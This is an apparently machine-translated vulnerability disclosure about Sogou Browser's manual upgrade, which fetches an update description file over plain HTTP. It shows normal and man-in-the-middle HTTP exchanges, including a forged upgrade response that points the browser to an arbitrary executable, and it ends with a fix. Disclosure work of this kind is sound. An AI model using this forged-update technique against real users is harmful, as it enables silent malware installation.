The latest version of sogou browser has a defect (which can be exploited by man-in-the-middle attacks to implant Trojans)

The latest version of sogou browser has a defect (which can be exploited by man-in-the-middle attacks to implant Trojans)

The latest version of sogou browser. the upgrade process can be exploited by man-in-the-middle attacks, so that the machine that obtains the update program can be implanted with any EXE file.

When you manually click online upgrade in the Help menu in sogou browser, a URL is accessed:

Http://p3p.sogou.com/upgrademanual.php? H = XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX & v = 5.1.7.15323 & r = 0000



The returned value is a description file of the upgrade program. If not, ASCII: 0 is returned.



If attackers forge this description file and perform man-in-the-middle attacks, they can fool the target host and replace the description file.



Next, the sogou browser automatically downloads and verifies the MD5 value and size based on the description file. If it is valid, directly run



Fortunately, this vulnerability only exists in manual upgrades. The format of the description file for automatic upgrades is different and will not be affected for the moment.

Normal requests and responses:

GET /upgrademanual.php?h=7BBA50C84B9DF6239B9102C5109CA722&v=5.1.7.15323&r=0000 HTTP/1.1Host: p3p.sogou.comConnection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36 SE 2.X MetaSr 1.0Accept-Encoding: gzip, deflateCookie: lstCday=16; columnnum=2; SUV=008976A67CCD0982548FCE4D8773C573; m=7BBA50C84B9DF6239B9102C5109CA722; IPLOC=CN1100HTTP/1.1 200 OKServer: nginxDate: Tue, 16 Dec 2014 06:55:09 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: keep-aliveX-Powered-By: PHP/5.1.60

Requests and responses after man-in-the-middle attacks are implemented:

GET /upgrademanual.php?h=7BBA50C84B9DF6239B9102C5109CA722&v=5.1.7.15323&r=0000 HTTP/1.1Host: p3p.sogou.comConnection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36 SE 2.X MetaSr 1.0Accept-Encoding: gzip, deflateCookie: lstCday=16; columnnum=2; SUV=008976A67CCD0982548FCE4D8773C573; m=7BBA50C84B9DF6239B9102C5109CA722; IPLOC=CN1100HTTP/1.1 200 OKServer: nginx/0.7.64Content-Length: 145Content-Type: text/htmlAccept-Ranges: noneConnection: close98[Upgrade]url=http://download.ie.sogou.com/se/sogou_explorer_10.exemd5=A6CA386D165B288635BD2FB0BF548D19size=368640version=10.1.6.142460

Forged update description file:
 

Automatically run the file after the upgrade is successful:
 

 

Solution:

Encrypt the update description file and verify the digital signature of the update file.